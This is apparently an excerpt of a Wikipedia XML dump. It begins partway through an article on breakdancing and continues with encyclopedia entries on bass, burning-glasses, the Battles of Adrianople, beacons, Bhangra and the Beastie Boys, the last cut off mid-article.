As opposed to toprock, '''downrock''' encompasses all moves performed with hands, arms, or a part of the [[torso]] in contact with the floor. '''Footwork''' is nearly synonymous with downrock, but is a more restrictive term usually applied to any downrock moves which are not [[power moves]]. Downrock is generally much more athletic, acrobatic, and akin to [[gymnastics]]. Toprock and downrock are often discussed independently, but good breakers can combine them seamlessly, especially once they master some basic transitions.

Breakers usually begin by toprocking, and then [[Drop (breakdancing move)|drop]] down to the floor, typically into some variation of the foundational [[6-step]]. The 6-step can be combined with, or transitioned into, most other breakdancing moves, including some of the most recognizable power moves such as the [[Swipe (breakdancing move)|swipe]], [[Windmill (breakdancing move)|windmill]], and [[Flare (breakdancing move)|flare]]. After performing the techniques, the breakdancer will often end the dance on his feet, contorted into a [[List of breakdance moves#Freezes|freeze]], or apparently injuring himself with a [[List of breakdance moves#Basic Downrock##Suicides|suicide]].

===Style vs technique===
One of the greatest divides in breakdancing is the give-and-take between style and technique (or ''power''). Devotees of each aspect are commonly known as styleheads and powerheads. Styleheads focus on the dancing side of breakdance. They may look down on powerheads as hack gymnasts who have eschewed the fundamental dance aspect for flashy acrobatics. Powerheads would respond that styleheads are little different than dancers from other styles because they neglect the difficult athletic moves that make breakdancing so unique.

Others argue that style and techinque are two equally important facets of a single unified art, so looking down on either is nonsense. For some b-boys/crews, there is no such thing as a 'power set' or a 'style set', as the two are freely intermixed. Obviously this requires a fluent ease with at least some fragment of one's powermove vocabulary. Interestingly, style vs. power is somewhat mirrored in the dichotomy of [[Capoeira]], Angola and Regional.

Much of being a successful breakdancer is about having style, broadly defined. The constant debate between b-boys is a debate of who has the most style. Since, in theory, anyone can learn the basics of breakdance, the dancers must deviate from the set dances to use their own style. In this way they can show-up other breakdancers during battles, thus winning the battle.

===Battles===
Battles are breakdancing events in which breakers form a circle and take turns trying to show each other up through either better style, more difficult moves, and/or combinations of both. Battles can pit individuals against one another, but often take place between two opposing [[List of breakdance crews|breakdance crews]].

Today serious battles are usually held at organized b-boy events. The battles are usually part of a [[tournament]]-style competition  with cash prizes, or they are featured [[each crew is paid to dance. It's not uncommon that spontaneous battles will happen at events as well, when rival crews show up with most of their members. These events are called &quot;jams,&quot; and generally consist of several hours of &quot;cyphering&quot; (open circles), followed by the main battle event.

The largest competition each year is probably [[Battle of the Year]] (BOTY), held in [[Germany]] since [[1990]], and featuring crews from around the world.  Despite its name, BOTY focuses on [[choreography|choreographed]] routines. After judges rate the routines, the final winner, and de facto world champion crew, is decided in a final battle (along with 2nd, 3rd, and 4th places).  Recent winners have been from [[France]], [[Korea]], [[Germany]], and [[Hungary]]. While crews from the [[United States|USA]] have won in the past, the claim is that they are not often winners of BOTY because competitions in the USA are almost exclusively battles and hip hop dances, whereas in the rest of the world, dance routine competitions are more common. Additionally, until recently (August 21 [[2005]]), the USA has not held a BOTY USA national event and thus has not had a crew to send to the finals in Germany. BOTY USA 2005 was the first; at this event, Knucklehead Zoo defeated Renegades in the finals and won Best Show to secure their victory and entry in the BOTY finals.  Nonetheless, this is a good indicator of how widespread the practice and high ability level of this [[United States|American]] [[folk art]] form has become.

Another few competitions gaining much popularity is BC One, sponsored by Red Bull.  This tournament invites many of the best b-boys from around the world to compete one-on-one in single-elimination.  This is somewhat unique, as most battle events pit entire crews or crew fragments of 3 or more people.  Most other instances of one-on-one matchups are one-time main event attractions for entire jams, not comprising the entire event.

===Breakdancing as a Folk Dance===
There is some academic interest in whether breakdance can be considered a [[folk dance]]. In particular, street dances are living and evolving dance forms, while folk dances are to a significant degree bound by [[tradition]]. Breakdance was in the beginning a [[social dance]] but in the later years, mostly because of media and television, its goal has become more of a [[performance dance]].

==Music==
Contrary to popular belief, b-boys do not only break to hip hop.  It is very common to see b-boys breaking to [[jazz]],[[funk]] and [[Soul music|soul]] tracks. Whatever genre it is, most of the songs popular for breaking are from the [[Timeline_of_trends_in_music_(1980-1989)|1980s]]. Modern mainstream hip hop, through its changes, is generally not as good for breaking as tunes from when breaking had its peak popularity. Generally, a common feature of bboy music is the presence of a [[Break (music)|break]] which is looped several times by the dj. In order to do so, the b-girl DJ usually acquires two copies of the record containing the break. The history credits [[Kool_Herc|Kool Dj Herc]] for the invention of this concept and technique. The resulting piece of music created by continuous looping of a musical phrase is termed a breakbeat. The most traditional understanding of what b-boy music should be like states that &quot;b-girls break to the beat&quot;. This definition is however flexible and many b-boy classics do not follow this format. The typical b-girl tune has a beat ranging between 120 and 135 beats-per-minute with  [[shuffle note|shuffled]]  [[Sixteenth_note|16th]] and [[Quarter_note|quarter]] beats in the percussive pattern.

Music is a very important thing to a b-boy. One could argue that the knowledge of music is almost as important as the ability to dance to it. Skilled b-girls are expected to have almost a [[Trainspotter (music)|trainspotter]]-esque detailed knowledge of breaking songs. They show this through hitting certain interesting focal points in each song, perhaps with a freeze, and also somewhat '[[Narrator|narrating]]' with their motions, which is often humorous as well as impressive. 

The concept of breakbeats was later developed in non b-boy related types of music. Also, the term [[breakbeat]] is nowadays mostly used to refer to certain genres in [[electronica]].

== Culture ==
Since its first inception breakdancing has provided a [[youth culture]], originating from violent urban street gangs. Today however, breakdancing culture is remarkably constructive with a character somewhere in between those of [[dancers]] and [[athletes]]. Since acceptance and involvement centers around dance skills, breakdancing culture is unusually free of the common race, gender and age boundaries of a [[subculture]]. Social interaction centers around practice and performance, which are occasionally intertwined because of its improvisational style. While featured at dance schools, breaking is typically taught to newbies by more experienced b-boys and passed on to new generations in an informal word-of-mouth way.

In contrast to this social breakdancing culture there are ''internet b-boys'', also known as ''e-boys'', or as they call them in Japan: ''[[Otaku]] b-boys''. These have learned much of what they know of the dance purely from the internet and from watching videoclips, not by instruction or by the passing of knowledge from one generation to another. The reason for this might be that they do not have access to competent instructors or social circles that can provide them with teaching and inspiration. Such b-boys are by some groups looked-down upon as not having their heart in hip hop culture.

Because of its functional demands on music and clothing, breakdance culture has become largely separated from popular hip hop since the 1980s.

== Fashion ==
[[Image:Breakdance_oldschool.jpg|left|200px]]
For the breakdancer, [[fashion]] is an important aspect of their identity. Many breakdancers in the 1980s dressed wearing [[Adidas]] shoes with thick laces. Some b-boys that are extremely serious match their hat, shirt, and shoes.  This style is to show uniform, and is supposedly a threat to the competitor. They also wore [[nylon]] [[Tracksuit|tracksuits]] which were functional as well as fashionable. The slick surface allowed the breakdancer to slide on the floor much easier than if she or he had been wearing a cotton shirt. Also, the popular image of the original breakdancer always involved a public performance on the street, accompanied by the proverbial [[boombox]]. 

B-boys today dress differently from b-boys in the 80s, but one thing remains, and that is dressing &quot;fresh&quot;. Due to the spread of b-boying as an artform from the inner cities out into the suburbs and to different social groups, different senses of &quot;fresh&quot; have arisen. Generally the rule that one's gear needs to match has remained from the 80s, along with a certain playfulness. [[Kangol]]s are still worn by some, track pants and nylons still have their place combined with fresh sneakers and hats. [[Trucker hat|Trucker hats]] were reintroduced on the scene in the late 1990s, well before the mainstream pop culture began wearing them again in numbers. 

Function is heavily entertwined with b-boy fashion. Due to the demands on the feet in b-boying, b-boys look for shoes with low weight, good grip, and durability when given pressure to the sole as well as elsewhere. Headwear can facilitate movement with the head on the ground, especially headspins. Bandanas underneath headwear can protect from the discomfort of fabric pulling on hair. And wristbands placed along the arm can lower friction at a particular place as well as provide protection.  

There are dancers and crews that now have begun to dress in a style similar to &quot;[[goth]]&quot; or [[Punk_fashion|punk]] rockers in order to stand out from the more traditional toned-down b-boy look.

Certain clothing brands have been associated with breaking. ''Tribal'' is an example. [[PUMA_AG|Puma]] is also well known in the breaking community. Both brands sponsor many b-boy events.

But aside from these generalities, many b-boys choose not to try too hard to dress for breaking, because in a certain sense one would want to be able to break anytime, anywhere, whatever the circumstances. This is related to why many would rather learn headspins without a helmet, despite it being able to facilitate.

==Media==
In the [[1980]]s, with the help of [[pop culture]] and MTV, breakdancing made its way from the [[suburb|suburbs]] to the rest of the world as a new cultural phenomenon. Musicians such as [[Michael Jackson]] popularized much of the breakdancing style in their music videos. Movies such as [[Flashdance]], [[Wild Style]], [[Beat Street]], [[Breakin']] and [[Breakin' 2: Electric Boogaloo]] also contributed to breakdancing's growing appeal. Today, many b-boys and former breakers are disappointed by the media hype that watered the dance down into money and overfocus on power moves. 

===Myths===
For the most part, the danger inherent in b-boying is overemphasized. One can understand wanting the deterrent of fear in the past, as b-boying was associated with gang activity.  Nowadays, however, the fear of life-threatening injury is largely unfounded. Like any other 'street' activity, there is a certain associated stigma which must be considered if an accurate assessment is desired. As with any other physical activity, there is of course a measured risk of physical injury.

On the history of breakdancing, it has often been presented as a dance that replaced fighting between street gangs. This is true in that breakdance battles were used to act out conflicts and that some gang members went from fighting to dancing, but it did not, by far, put an end to gang violence.

==See also==
*[[List of breakdance moves]]
*[[B-boy]]
*[[Battle of the Year]]
*[[Breakin']] - A movie about breakdancing.

==Video clips==
*[http://www.style2ouf.com/english/videos/index.php style2ouf videos] style2ouf video pages
**[http://www.style2ouf.com/ style2ouf] style2ouf website in English and French
*[http://mexispice.0kbps.net/videos_Profesional_Breakdancers.html Breakdancing Examples]
*[http://www.streetwalkn.com streewalkn breakdance] Breakdancing videos

==References==

===History links===
*The Freshest Kids: History of the b-boy. Film.
*[http://www.msu.edu/user/okumurak/styles/breaking.html B-Boying] History on breakdance
*[http://www.breakcheck.com/index.php?pg=Article&amp;id=18 Breakcheck.com] Background of B-Boying by: Rohan Jasani
*[http://www.geocities.com/Colosseum/Stadium/7960/history.html Extract from &quot;Breakdancing with Mr.Fresh &amp; The Supreme Rockers&quot;] History of Breakin
*[http://www.jahsonic.com/Breakdance.html History of Breakdance: Breakdancing Breakdown - UK]  from ''The Bomb Hip-Hop Magazine'' Issue #46 (April/May 1996)

===Clubs and Societies===
*[http://www.jmu.edu/ James Madison University] [http://orgs.jmu.edu/breakdance/index.htm Breakdance Club (JMU BDC)]
*[http://www.hhdirecto.net/breakdance Spanish breakdance group] Spanish breakers

===Related links===
*[[David Toop]] (1991). ''Rap Attack 2: African Rap To Global Hip Hop'', p.113-115. New York. New York: Serpent's Tail. ISBN 1852422432.
==External links==
* [http://www.bboy.org Bboy community]  
  
{{hiphop}}
[[Category:Hip hop culture elements]]
[[Category:Hip hop dance]]

[[cs:Breakdance]]
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[[hy:Բրեյք դանս]]
[[it:Breakdance]]
[[he:ברייקדאנס]]
[[nl:Breakdance]]
[[ja:ブレイクダンス]]
[[pl:Breakdance]]
[[pt:Breakdance]]
[[ru:Брейк-данс]]
[[sl:Breakdance]]
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[[vi:Breakdance]]</text>
    </revision>
  </page>
  <page>
    <title>Bass (musical term)</title>
    <id>3727</id>
    <revision>
      <id>42047890</id>
      <timestamp>2006-03-03T12:59:26Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <comment>move quote to [[bassline]]</comment>
      <text xml:space="preserve">:''For other uses of the term see [[Bass|Bass (disambiguation)]].''

'''Bass''' ([[International Phonetic Alphabet|IPA]]: [{{IPA|be&amp;#618;s}}], rhyming with &quot;face&quot;), when used as an adjective, describes [[tone]]s of low [[frequency]] or [[range (music)|range]].  Played in an [[ensemble]]/[[orchestra]], such notes are frequently used to provide a [[counterpoint]] or counter-[[melody]], in an [[harmony|harmonic]] context either to outline or juxtapose the progression of the [[chord (music)|chord]]s, or with [[Percussion_instrument|percussion]] to underline the [[rhythm]]. In popular music the bass part most often provides harmonic and rhythmic support, usually playing the root or fifth of the chord and stressing the onbeats.

As a noun, a '''bass''' is a [[musical instrument]] or [[singer]] with a low range. See: [[basso]] and [[bass (instrument)]].

==See also==
*[[Figured bass]]
*[[Bassline]]
*[[Basso continuo]]
*[[Bass note]]
*[[Ground bass]]



[[Category:Musical terminology]]

[[da:basstemme]]
[[de:Bass]]
[[hu:Basszus]]
[[ja:&amp;#12496;&amp;#12473; (&amp;#22768;&amp;#22495;)]]
[[zh:&amp;#30007;&amp;#20302;&amp;#38899;]]</text>
    </revision>
  </page>
  <page>
    <title>Bass music</title>
    <id>3728</id>
    <revision>
      <id>15902043</id>
      <timestamp>2003-09-01T07:46:26Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <comment>redirecting</comment>
      <text xml:space="preserve">#redirect [[Miami bass]]</text>
    </revision>
  </page>
  <page>
    <title>Burning-glass</title>
    <id>3729</id>
    <revision>
      <id>34283745</id>
      <timestamp>2006-01-07T21:36:40Z</timestamp>
      <contributor>
        <username>Lumos3</username>
        <id>23657</id>
      </contributor>
      <comment>/* See also */ Category:Optical devices</comment>
      <text xml:space="preserve">[[Image:Brennglas.jpg|thumb|]]
A '''burning-glass''' is a large [[convex lens]], which can focus the [[sun]]'s rays on a small area and so ignite materials. Used in 
[[18th century]] chemical studies for burning materials in closed glass vessels where the products of [[combustion]] could be trapped for analysis, the burning-glass was a useful contrivance in the days before electrical ignition was easily achieved.

The technology of the burning glass has been known since antiquity. [[Aristophanes]] mentions the burning-lens in his play ''[[The Clouds]]'' ([[424 BC]]), and [[Archimedes]], the renowned mathematician, was said to have used a burning glass (although it is more likely that a large number of [[angle]]d [[hexagon]]al [[mirror]]ed surfaces were used) in [[212 BC]] when Syracuse was besieged by Marcellus. Archimedes constructed a burning-glass on a scale of such magnitude that by means of it the [[Roman Navy|Roman fleet]] was incinerated, though eventually when the city was taken, he was found among the slain.  The legend of Archimedes gave rise to a considerable amount of reseach on burning glasses and lenses until the late [[17th century]].

Recent excavations at the [[Viking]] harbor town of [[Fröjel]], [[Gotland]] in [[Sweden]] have revealed that this technology of fire-starting was known in the [[Viking Age]] as well.  Rock crystal lenses produced at Fröjel in the 11th to 12th century via turning on pole-lathes have been found that have an imaging quality comparable to that of 1950's aspheric lenses. The Viking lenses quite effectively concentrate sunlight enough to ignite fires.

==See also==
*[[Magnifying glass]]

[[Category:Optics]]
[[Category:Optical devices]]
[[Category:Glass]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Adrianople (disambiguation)</title>
    <id>3730</id>
    <revision>
      <id>37521780</id>
      <timestamp>2006-01-31T15:06:16Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">There were at least nine '''Battles of Adrianople''' at Adrianople or Adrianopolis (now [[Edirne]], [[Turkey]]):

*[[Civil Wars of the Roman Empire]]
**[[Battle of Adrianople (313)]], [[30 April]] [[313]], [[Licinius]] defeats [[Maximinus]] Daia
*[[Battle of Adrianople (324)]] - [[Civil Wars of the Roman Empire]]
*[[Battle of Adrianople]] (378) - [[Gothic Invasions of the Roman Empire]] (the one most frequently meant)
*[[Battle of Adrianople (718)]] - [[Byzantine-Bulgarian Wars]]
*[[Battle of Adrianople (813)]] - [[Byzantine-Bulgarian Wars]]
*[[Battle of Adrianople (972)]] - [[Wars of the Byzantine Empire]] - against the Russians
*[[Battle of Adrianople (1205)]] - [[Fourth Crusade]]
*[[Battle of Adrianople (1254)]] - [[Byzantine-Bulgarian Wars]]
*[[Battle of Adrianople (1365)]] - [[Capture by Ottoman Turks]]
*[[Battle of Adrianople (1913)]] - [[First Balkan War]]
{{disambig}}

[[cs:Bitva u Adrianopole]]
[[es:Batalla de Adrianópolis (Desambiguación)]]
[[nl:Slag bij Adrianopel]]</text>
    </revision>
  </page>
  <page>
    <title>Beacon</title>
    <id>3731</id>
    <revision>
      <id>38974823</id>
      <timestamp>2006-02-09T22:00:26Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">:''This page discusses Beacons,  fires designed to attract attention. See also [[radio beacon]]. For other uses of the word, see [[Beacon (disambiguation)]]''
[[Image:Karl-dahl-vardetenning.jpg|400px|right|thumb|The beacon is being lit somewhere in [[Scandinavia]].]]
'''Beacons''' are fires lit on hills or high places, used either as [[lighthouse]]s for [[navigation]] at sea, or for signalling over land that enemy troops are approaching, and alerting the defence.  In the latter form, beacons are an ancient form of [[optical telegraph]] and always used in [[relay league]]s. 

This system have existed over a large part of the world and in [[Scandinavia]] many [[hill forts]] were part of networks of beacons to warn about pillaging expeditions from other Scandinavians.

Similarly the [[Brecon Beacons]] in [[Wales]] take their name from beacons to warn of approaching [[England|English]] raiders.

In England, the most famous example is the beacons used in [[Elizabethan]] [[England]] to warn of the approaching [[Spanish Armada]]. This chain of beacons gave the name to many [[Beacon Hill]]s.

Beacons have often been abused by [[pirate]]s. A fire at a wrong position was used to direct a ship against [[cliff]]s or [[beach]]es, so the cargo could be looted after the ship sank or ran aground.

In modern technical parlance, a beacon can also be a [[radio Beacon|transmitter]] used for navigation.

Beacons are aids to navigation devices. Intentionally conspicuous, beacons help guide navigators to their destinations. Beacon types include radar reflectors, radio beacons, sound signals, and visual beacons. Visual beacons range from small, single-pile structures to large lighthouses or light stations and are located on land or in water. Lighted beacons are called lights; unlighted beacons are called daybeacons. 

See also [[Emergency position-indicating rescue beacon]].

==External links==
The Probert Encyclopedia has a good picture of an Elizabethan Beacon. http://www.probertencyclopaedia.com/cgi-bin/xphrase.pl?keyword=Beacon

[[Category:Early telecommunications]]

[[de:Befeuerung]]
[[sv:Vårdkase]]
[[zh:烽火台]]</text>
    </revision>
  </page>
  <page>
    <title>Bangra</title>
    <id>3732</id>
    <revision>
      <id>15902047</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bhangra]]
</text>
    </revision>
  </page>
  <page>
    <title>Bhangra</title>
    <id>3733</id>
    <revision>
      <id>41853172</id>
      <timestamp>2006-03-02T03:56:04Z</timestamp>
      <contributor>
        <username>Samdean</username>
        <id>964858</id>
      </contributor>
      <text xml:space="preserve">'''Bhangra''' ({{lang-pa|ਭੰਗੜਾ}}, ''{{IAST|bhaṅgṛā}}'') is both a lively dance which is from the region of [[Punjab region|Punjab]], now divided between North [[India]] and [[Pakistan]], and the musical accompaniment to the dance. A variety of popular music, also called Bhangra, has developed from these traditions and has a keen youth following around the world.
{{Indianmusic}}
Bhangra is a fusion of music, [[singing]] and the beat of the [[dhol]] drum, a single stringed instrument called the [[iktar]] ([[ektara]]), the [[tumbi]] and an instrument reminiscent of an enlarged pair of tongs called [[chimta]]. The accompanying songs are small couplets written in the [[Punjabi language]] called ''bolis''. They relate to harvest celebration, love, patriotism or current social issues.  

Today the word ''Bhangra'' is more associated with the style of [[dance music|dance]] [[pop music]] derived from the above mentioned musical accompaniment. The dhol's smaller cousin, the [[dholaki]], is sometimes used instead of or in addition to the dhol. Additional [[Percussion_instrument|percussion]], including [[tabla]], is frequently used in bhangra.

Bhangra has always been popular amongst Punjabi people all over the world, but it has enjoyed a resurgence over the last ten years or so. Its raw traditional sound is often supplemented with contemporary musical styles. In its more recent history, bhangra has been fused with [[disco]], [[reggae]], [[techno music|techno]], [[house music|house]], [[rapping|rap]], [[ragga]] and now [[jungle (music)|jungle]]. In fact these  new styles are so successful that modern bhangra is now being re-exported back to India. Most of this tends to come from the UK [[Desi]] scene, a [[subculture]] found amongst the [[South Asian]] [[diaspora]].

Both collegiate and non-collegiate Bhangra competitions are held throughout the world, especially in the Punjab (India), [[United States]], [[Canada]], and the [[UK]]. Some competitions in the United States include:  

* [http://www.bhangrablowout.com/ Bhangra Blowout] in [[Washington, D.C.]]
* [http://www.bruinbhangra.com/ Bruin Bhangra] in [[Long Beach, California]] 
* [http://www.bhangrafusion.net/ Bhangra Fusion] in [[Ann Arbor, Michigan]]
* [http://www.dholdiawaz.com/ Dhol Di Awaz] in the [[San Francisco Bay Area]]
* [http://www.southbeachbhangra.com/ South Beach Bhangra] in [[Miami]]
  

==  Notable Bhangra artists ==

(alphabetical by first name or stage name)

* [[A.S. Kang]]
* [[Abrar Ul-Haq]]
* [[Akram Rahi]]
* [[Aman Hayer]]
* [[Amar Singh Chamkila]]
* [[Amrinder Gill]]
* [[Amrita Virk]]
* [[Apna Sangeet]]
* [[Ashok Masti]] 
* [[Ataullah Isivi]]
* [[B21]]
* [[Babbu Mann]]
* [[Balkar Sidhu]]
* [[Balwinder Safri]] (of the Safri Boyz, aka Safri Boys)
* [[BEE2]]
* [[BBT]]
* [[Daler Mehndi]]
* [[DJ GT]]
* [[Dr. Zeus]]
* [[Gurdas Mann]]
* [[Hans Raj Hans]]
* [[Harbhajan Mann]]
* [[Harjit Harman]]
* [[Inderjit Singh]]
* [[Jasbir Jassi]]
* [[Jaspinder Narula]]
* [[Jassi Sidhu]] 
* [[Jassi Sohal]]
* [[Jazzy Bains]]
* [[K.S. Makhan]]
* [[Kamal Heer]]
* [[Kuldip Manak]]
* [[Kulwinder Dhillon]]
* [[Lehmber Hussainpuri]]
* [[Malkit Singh]]
* [[Manmohan Waris]]
* [[Nachattar Gill]]
* [[Pammi Bai]]
* [[Preet Brar]]
* [[Ravinder Grewal]]
* [[RDB]]
* [[Romi Gill]]
* [[The Sahotas]]
* [[Sardool Sikander]]
* [[Satwinder Bitti]]
* [[Sukhshinder Shinda]]
* [[Surjit Bindrakhia]]
* [[Surinder Shinda]]

== Bands == 

* [[Apna Sangeet]]
* [[Heera Group]]
* [[Premi]]
* [[Sahotas]]
* [[Safri Boys]]

== Producers ==
* [[Bally Sagoo]]
* [[Panjabi MC]]
* [[Rishi Rich]]
* [[Shin G.C.]]
* [[Taj-E]]
* [[Panjabi By Nature]]
* Sukhshinder Shinda
* [[DJ S]]
* [[DJ Stormz]]

==External links ==

* [http://www.cs.cuw.edu/csc/csc175/project/hrpsingh/HISTORYOFFOLKDANCE.HTML Pictures and more information]
* [http://punjabgovt.nic.in/Culture/cul27.htm Bhangra and other dance styles of Punjab]
* [http://www.ajayarora.com/bhangra Video Footage of Bhangra Competitions in North America]


[[Category:Bhangra|*]]
[[Category:Dances of India]]
[[Category:Asian dances]] &lt;!-- ... and Pakistan --&gt;
[[Category:Punjab]]
[[Category:Desi culture]]
[[fr:Bhangra]]
[[de:Bhangra]]
[[sv:Bhangra]]</text>
    </revision>
  </page>
  <page>
    <title>Beastie Boys</title>
    <id>3735</id>
    <revision>
      <id>42146981</id>
      <timestamp>2006-03-04T03:13:32Z</timestamp>
      <contributor>
        <username>Ziggur</username>
        <id>374132</id>
      </contributor>
      <minor />
      <comment>Revert vandalism</comment>
      <text xml:space="preserve">[[Image:Beastiealive.JPG|thumb|right|300px|Beastie Boys; from left to right, Ad-Rock, Mike D, MCA.]]The '''Beastie Boys''' are an [[United States|American]] [[alternative]] [[hip-hop music]] group from [[New York City]] ([[Brooklyn]] and [[Manhattan]]). The main members are Mike D (real name [[Michael Diamond]]),  MCA ([[Adam Yauch]]) and Ad-rock ([[Adam Horovitz]]). 

Beastie Boys were the first successful white rap group, and one of the few acts from the early days of hip-hop that still enjoy major success. Their rock and punk-influenced rap has had significant impact on artists both in and outside the hip-hop scene.

== The early days ==
Beastie Boys were formed in 1979 as a punk band called The Young Aborigines. In 1981 Adam Yauch (MCA) joined them and changed the name to the Beastie Boys. The name &quot;Beastie&quot; originally stood for &quot;Boys Entering Anarchistic States Towards Inner Excellence&quot;, and the initials B.B. intended to mimic Washington DC punk band [[Bad Brains]]. The band's original line-up consisted of Adam Yauch on [[bass guitar|bass]], [[Kate Schellenbach]] on [[drums]], John Berry on [[guitar]] and Michael Diamond on vocals. Their first gig was at Berry's house on Yauch's 17th birthday. The band quickly earned support slots for [[Bad Brains]] and [[Reagan Youth]] at venues such as [[CBGB]] and [[Max's Kansas City]], playing at the latter venue on its closing night. That same year, the Beastie Boys recorded the 7&quot; [[Extended play|EP]] ''[[Pollywog Stew]]'' at [[171A studios]]. 

John Berry left the group (later forming [[Thwig]]) and was replaced by Horovitz, who had previously played in the punk band [[The Young and the Useless]] in 1983. The band also performed its first rap track ''[[Cooky Puss]],'' based on a prank call by the group to [[Carvel|Carvel Ice Cream]]. The song became a hit in [[New York]] underground [[dance club]]s upon its release.

==''[[Licensed to Ill]]'' - 1984-1987==
It was during this period that [[Def Jam]] record producer [[Rick Rubin]] entered the picture and the Beastie Boys changed from a [[punk rock]] outfit to a three-man [[hip hop music|hip hop]] crew. The band released the 12&quot; single ''[[Rock Hard]]'' in [[1984]], the second record released by [[Def Jam]] that credited Rubin as producer. Kate Schellenbach soon developed creative differences concerning the band's new musical direction. After Rubin purchased matching track suits for each of the boys but failed to buy one for Schellenbach, she left the band. She would go on to join [[Luscious Jackson]] in 1991.

In 1985, the band supported [[Madonna (entertainer)|Madonna]] on her North American ''Virgin'' tour. Later in the year, the group was on the ''Raising Hell'' tour with [[Run DMC]], [[Whodini]], [[LL Cool J]] and the [[Timex Social Club]]. With their exposure on this tour, the track ''&quot;Hold It Now, Hit It&quot;'' made Billboard's national R&amp;B and Dance charts. The track ''&quot;She's on It&quot;'' from the ''[[Krush Groove]]'' soundtrack continued in a rap/metal vein while a double A-side 12&quot; ''&quot;[[Paul Revere]]/The New Style&quot;'' was  released at the end of the year and became another R&amp;B/dance hit.

The band recorded ''[[Licensed to Ill]]'' in [[1986]] and released the album at the end of the year. It was a smash success, becoming the best selling rap album of the 1980s and the first rap album to go #1 on the Billboard album chart, where it stayed for five weeks. It also reached #2 on the Urban album charts. It was [[Columbia Records]]' fastest selling debut record to date and sold over five million copies. The first single from the album, ''&quot;[[(You Gotta) Fight for Your Right (to Party)]]&quot;'', reached #7 on the [[Billboard Hot 100]].

The band took the ''Licensed to Ill'' tour around the world the following year. This tour was controversial, featuring female members of the crowd dancing in cages and a giant motorized inflatable [[penis]] similar to one used by [[The Rolling Stones]] in the 1970s. The tour was troubled by lawsuits and arrests, with the band accused of provoking the crowd. In the [[UK]], alleged insults supposedly aimed at [[leukemia]] victims almost resulted in the band being kicked out of the country, although the Beastie Boys maintain that the incident was an exaggeration of actual events resulting when the band politely declined to sign an autograph. 

British comedian [[Tony Hawks]] recorded the song &quot;Stutter Rap&quot; under the pseudonym of &quot;[[Morris Minor and the Majors]]&quot; as a send up of the Beastie Boys' then image. It became a major hit in the UK reaching #4 and #1 in [[Australia]].

==''[[Paul's Boutique]]'' / ''[[Check Your Head]]'' - 1988-1992==
The group matured with their second album, ''[[Paul's Boutique]]''. Produced mainly by the [[Dust Brothers]] and recorded in 1988, this extremely [[sampling (music)|sample]]-heavy oeuvre is still considered one of the best hip hop albums ever and the Beastie Boys' best work [http://www.answers.com/topic/paul-s-boutique]. 

The album was released in 1989 by [[Capitol Records]] and failed to match the sales of ''Licensed to Ill,'' reaching #14 on the Billboard 200 and #10 on the Billboard R&amp;B charts. The lead single ''&quot;Hey Ladies&quot;'' reached #36 on the Billboard 100 and #10 on the R&amp;B charts.''[[Rolling Stone]]'' would describe the album as &quot;the ''[[Pet Sounds]]'' / ''[[Dark Side of the Moon]]'' of hip hop.&quot; ''Paul's Boutique'' would eventually sell a million albums.

The follow-up album, ''[[Check Your Head]]'', was recorded in the band's own &quot;G-Son&quot; studio in [[Atwater Village, California]] and released on its [[Grand Royal]] record label. The band played the instruments on this album, with Mike D on drums, Yauch on bass, Horovitz on guitar and Mark Ramos Nishita (&quot;[[Money Mark|Keyboard Money Mark]]&quot;) on keyboards. Mario Caldato Jr. (&quot;Mario C&quot;) produced, and would become a longtime collaborator.

''Check Your Head'' was released in 1992 and went double platinum in the US, reaching a peak of #10 on the Billboard 200. The first single ''&quot;So What'cha Want&quot;'' reached #43 on the Billboard 100 and made both the urban and modern rock charts. ''&quot;Pass the Mic&quot;'' became a hit in dance clubs. The album also introduced a more experimental direction, with funk and jazz inspired songs, including ''&quot;Lighten Up&quot;'' and ''&quot;Something's Got To Give.&quot;'' Hardcore punk even made its reappearance with ''&quot;Time For Livin'.&quot;''

Beastie Boys signed an eclectic roster of artists to the Grand Royal label including [[Luscious Jackson]], [[Sean Lennon]], promising Australian artist [[Ben Lee]], and the Japanese duo [[Cibo Matto]]. Beastie Boys owned Grand Royal Records until 2001 when it was then sold for financial reasons. Grand Royal's first independent release was Luscious Jackson's album ''[[In Search Of Manny]]'' in 1993.

Beastie Boys also published Grand Royal Magazine, with the first edition in 1993 featuring a cover story on [[Bruce Lee]], artwork by [[George Clinton (funk musician)|George Clinton]], and interviews with [[Kareem Abdul-Jabbar]] and [[A Tribe Called Quest]] MC [[Q-Tip (rapper)|Q-Tip]]. The 1995 issue of the magazine contained the first print reference of the expression &quot;[[Mullet (haircut)|mullet]]&quot; to describe the hairstyle.

==''[[Ill Communication]]'' - 1993-1995==
''Ill Communication'', released in 1994, saw the Beastie Boys' return to the top of the charts when the album peaked at #2 on the R&amp;B/ hip hop album chart. The single ''&quot;[[Sabotage (Beastie Boys)|Sabotage]]&quot;'' became a hit on the modern rock charts and the music video, directed by [[Spike Jonze]], received extensive play on [[MTV]]. ''&quot;Get It Together&quot;'' reached Top Ten of the Billboard dance charts and also became an urban hit while ''&quot;Sure Shot&quot;'' was a dance hit. ''Some Old Bullshit'', featuring the band's early independent material, made #50 on the Billboard independent charts. 

Beastie Boys headlined at [[Lollapalooza]] in 1994 together with the [[Smashing Pumpkins]]. In addition, the band performed three concerts in [[Los Angeles]], [[New York City]], and [[Washington D.C.]] to raise money for the [[Milarepa Fund]] and dedicated the [[royalties]] from ''&quot;Shambala&quot;'' and ''&quot;Bodhisattva Vow&quot;'' from the ''Ill Communication'' album to the cause. The Milarepa Fund aims to raise awareness of [[Tibet]]an [[human rights]] issues and the exile of [[Tenzin Gyatso, 14th Dalai Lama|the Dalai Lama]]. In 1996, Yauch organized the [[Tibetan Freedom Concert]], a two-day festival at [[Golden Gate Park]] in [[San Francisco, California|San Francisco]], that attracted 100,000 people. 

